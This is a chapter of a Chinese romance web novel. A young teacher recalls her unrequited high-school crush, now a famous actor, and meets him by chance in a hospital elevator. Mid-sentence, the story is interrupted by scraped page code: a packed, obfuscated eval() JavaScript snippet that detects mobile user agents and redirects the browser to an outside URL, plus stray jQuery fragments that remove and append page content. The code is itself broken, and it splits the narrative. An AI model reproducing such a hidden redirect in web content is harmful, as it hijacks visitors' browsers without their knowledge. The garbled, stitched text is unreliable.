鹤争 作品

1. 重逢

    三月春日里,乍暖还寒的风拂面,杏花开满枝头,一树雪白。


    偶尔风大了些,吹掉几片花瓣,飘飘摇摇地落下来,洒在树下男孩和女孩的肩膀上。


    钟毓坐在窗边,不经意一转头,刚好看见树下少男少女坐在一起,共用一副耳机听音乐的画面。


    相挨的肩膀靠得很近,两只手近到几乎相触,却迟迟没有牵住。


    女孩子闭着眼睛听得专注,男生偷偷看一眼她,悄悄伸手摘掉了她发尾的花。


    因为太怕打扰到对方,这动作放得轻之又轻,轻到试了两次都失败了,第三次才成功摘下。


    他松一口气,拈着花抬起眼,正好和不知道什么时候睁开眼睛的女孩对上视线。


    两张脸先后红了起来。


    钟毓看着,身边传来一声小声的感叹:“哇,好青春啊。”


    她转过头,杜敏敏正端着一盒水果走过来,递给她,眼睛还盯着窗外:“那句话怎么说来着,一万句情话抵不过两张羞红的脸,真美好啊。”


    钟毓赞同:“是啊。”


    “校园恋爱真的很美好啊,真可惜,我上学的时候光顾着学习去了,大好的青春都浪费了,”杜敏敏扼腕叹息,“现在参加工作了,身边不是已婚男老师就是学生,根本没可能遇见适龄男青年,还天天被我妈催婚。”


    旁边的李数推了推眼镜,眯着眼睛瞅了窗外好一会儿,才松口气:“吓死了我还以为是我们班的,不是就好……你可惜什么啊,校园恋爱说到底年纪都还小,什么都不懂,你可惜的不过是青春时光。”


    杜敏敏仍在幻想:“在最青春的年纪里谈一场校园恋爱不是很好吗?”


    李数说不过她,只竖起一根手指:“谨言慎行啊,你可是老师。”


    杜敏敏叹了口气:“可是真的很不一样,校园恋爱多纯粹啊,现在我妈给我介绍相亲的,一上来就是:他家有什么,年薪多少,希望我提供什么,计划一年内结婚,三年内抱俩,太恐怖了,根本没有恋爱过程的。哎,李数,我记得你说过你老公和你是中学同学吧?”


    李数有点无奈:“我和我老公确实是同学,但上学那会根本不熟,毕业后因为工作原因经常见到,才熟起来的,也不算校园恋爱。”


    杜敏敏哀戚戚的,又看向钟毓:“钟钟啊,你读书的时候谈过恋爱吗?”


    钟毓刚吃了一颗草莓,闻言顿了一下。


    这异常的反应立刻被杜敏敏捕捉到,她一下子来了精神:“你有!你有过对不对?快讲讲!”


    “真的没有啦,”钟毓沉思了会儿,“只是暗恋而已。”


    “暗恋?!”杜敏敏更激动了,“能被你暗恋的得是什么神仙人物啊?快说说!”


    李数也十分好奇地投来目光。


    “是我高中时期的学长,”钟毓追寻着记忆,“很优秀的人,比我高两级。”


    “帅吗帅吗?”杜敏敏追问。


    钟毓顿了下,不可避免地想起第一次见那人的场景,那是十年前,育英高中的开学典礼上。


    那时,她是高一新生,站在和她一样懵懂又期待的人群里,仰着脸看向站在主席台上笑着讲话的高年级优秀学生代表,那个人张扬又耀眼,按部就班讲完欢迎词之后却没有立即下台。风吹起他的校服下摆,他微微躬了身,捏住面前的话筒,带着些玩笑意味地说:对了,数竞队陈老师让我帮他站岗招人,我懒得去,在这里打个广告,有想加数竞队的请到崇德楼502找他报名啊!


    他最后一句话说得飞快,因为地中海的级部主任已经跑上台去飞踢他,男生笑着躲开,一溜小跑下来,回到了高三年级某支队伍里。


    地中海老师并没有多指责,只要骂不骂地隔空点了下他,继续进行了后续的欢迎环节。


    但已经没有人在听了,几乎所有的新生都在张望和窃窃私语,讨论着那个高调又大胆的学长是什么人物。很快,钟毓就知道了,那个男孩叫温斯年。


    数竞队队长,高三的年级第一名,育英高中的风云人物。


    讲八卦的男生啧啧道:“全校不知有多少女生暗恋他哦。”


    彼时钟毓并没有多在意,只觉得,一个优秀,张扬,还生得好看的男孩子,被人暗恋实在很正常。


    却没有想到自己也会成为暗恋他的一员,甚至是暗恋最久的一个人。


    钟毓笑了笑:“帅。”


    “哇!那后来呢?你们后来的故事呢?”杜敏敏的眼睛亮晶晶的。


    钟毓好笑地将一颗草莓塞进她的嘴里:“你以为看电影呢?没有后来了,他比我高两级,就同校了一年,我高二时他就毕业了,后来再也没见过了。”


    “啊——我不要听Be的故事,”杜敏敏长叹一声,嘟着嘴又看向了窗外,“我还是看现成的小糖饼恋爱故事吧。”


    钟毓笑了声,也再次看向窗外,女孩从包里拿出一只小蛋糕,递给男孩,男孩用叉子叉好,又递回给了女孩子。


    “真纯情啊。”


    “什么纯情,”刚提了外卖奶茶进来的王主任将袋子放下,给众人分发奶茶,“你的少甜不加冰,你的少冰不加糖,还有你的——呦,你这杯还送了温斯年的卡片呢。”


    “对呀!”杜敏敏接过来,将卡片端在手上给众人亮相,“我特意点的这个味道就是因为它会送这个卡片,温斯年太帅了,拿影帝之后感觉又帅出新高度了!”


    钟毓的目光在卡片上一扫而过,喝了口自己的果茶。


    杜敏敏还在讲温斯年今年夺得影帝大满贯的辉煌事迹,王主任一双鹰眼已经望见了窗外的小情侣,眉毛倒竖:“你们哪个班的?干什么?”


    窗外的少男少女被吓了一跳,从长凳上站起来。


    “没天理了简直没有王法了,光天化日,在市里就,就——”王主任已经气到昏厥,根本顾不上身边李数的劝告:“王主任,人家也没干什么,又是休息日,一块听了个歌而已……”


    “这个年纪的男女坐到一起就是不该!我要记过!记大过!”王主任已经气到昏厥,踢着一只拖鞋一只皮鞋就飞速出门下楼了,看样子是要去抓人。


    杜敏敏无语:“王主任真的,平时好好的,一到学生关系上就发昏。”


    钟毓看着窗外两个显然已经吓得愣住的孩子,仍然呆呆站在原地。


    她探出头:“快跑啊!”


    两个孩子抬头看过来。


    “再不跑要被记过了!”


    这句话终于点醒了两个人的神经,男孩一手抄起女孩的书包,另一只手握紧了女孩的手,飞速向外跑去。


    微风,杏花,女孩翩跹的发尾,相握的两只手,奔跑的脚步。


    还有追在身后契而不舍,中年男人的叫喊。


    钟毓冲惊呆了的杜敏敏一扬眉:“没有被教导主任追过,叫什么青春恋爱啊。”


    不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236578|166122||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    道什么时候走过来看热的生物老师刘远啧啧:“钟老师,你真牛,不怕老王回来找你麻烦啊?”


    钟毓狡黠一笑:“那是周一上班后的事了。我有事先走了,帮我跟老王说声哦。”


    李数突然问:“你和你那个学长……你也许可以再联系下他,那么喜欢他,不会遗憾吗?”


    钟毓的目光下意识地扫过桌上的卡片,旋即收回,坦然道:“哪还联系得上呢,我们已经离太远了。”


    “而且我也已经不再喜欢他了。”


    钟毓说有事并不是托词,她要去疗养医院接自己妈妈。


    齐淑琴最近迷上了钻石画,每天弯着腰趴在桌上狂贴几个小时,一个星期下来,腰先受不了,于是每天去疗养医院里做按摩,和钟毓约好了下午四点半去接她。


    路上有些堵车,钟毓到医院的时候已经四点四十了,她一边低着头给妈妈发消息让她别着急,一边进了电梯。


    给妈妈发完消息,手机又收到一条。


    【编辑:玉在野老师,有位导演想联系你到他的剧组里做跟组编剧,你要和他联系下吗?】


    钟毓蹙了下眉,仔细思考着如何回答,手指悬在手机上方。


    她低着头,余光察觉到有人要上电梯,随手帮那人挡了下门。


    “……谢谢。”有些闷的声音响起。


    钟毓仍然在思考着消息,只摆了摆手。


    【钟毓:谢谢,但是我主业时间太紧张了,可能没有精力去跟组,麻烦您帮我回绝了吧。】


    【编辑:好吧,有点可惜,但这也没办法。】


    钟毓礼貌道谢后,终于抬起头来。


    电梯已经走到一半,抬起头的一瞬间,她突然意识到,电梯里另一个人,那个戴着帽子口罩和墨镜,裹得狗仔都认不出来的人,是温斯年。


    意识到这一点后,她突然觉得不对劲。


    空气不对劲,肢体不对劲,她不能呼吸,也不知道怎么摆放自己的四肢。


    温斯年比她记忆里的样子更高了一些,肩背也更结实,更成熟了,被帽檐和口罩遮得严实的脸上,表情依旧是淡淡的,但并不是冷漠。他有一双剑眉星目,眼睫毛却很长,无端添了几分柔和,鼻梁高挺,侧脸的轮廓像雕刻的艺术品,增之减之都太过。


    时隔十多年,她再一次见到了这个人。


    毫无准备的。


    钟毓觉得电梯太大了,大到两个人之间的距离那样遥远,隔山隔海,不可跨越,同时电梯又太小了,小到她觉得自己仿佛贴在温斯年身侧,一呼一吸都是他,一思一想都是他,连自己的心脏,都要从胸膛里跳出来了。


    从一楼到十二楼,中间无停顿的话,一般要走二十五秒,钟毓在这二十五秒里脑袋发白,一动不动地站着,连脚都有些麻了。


    “叮”电梯门开了,温斯年大步流星地走了出去,钟毓看着他的背影渐渐消失在电梯合上的门缝里,觉得自己的暗恋好像又短暂地沸腾了一遍。


    钟毓靠在电梯壁上,有些无奈地笑起来。


    好吧,她不得不承认。


    她还喜欢他。


    他还喜欢她。


    出了电梯的温斯年靠在走廊的墙壁上,深深地吸了一口气,许久都没能平息自己过快的心跳。


    几秒后,他突然意识到钟毓并没有在同一层下电梯,折回去再找却已人去楼空。


    和他的梦几乎一模一样。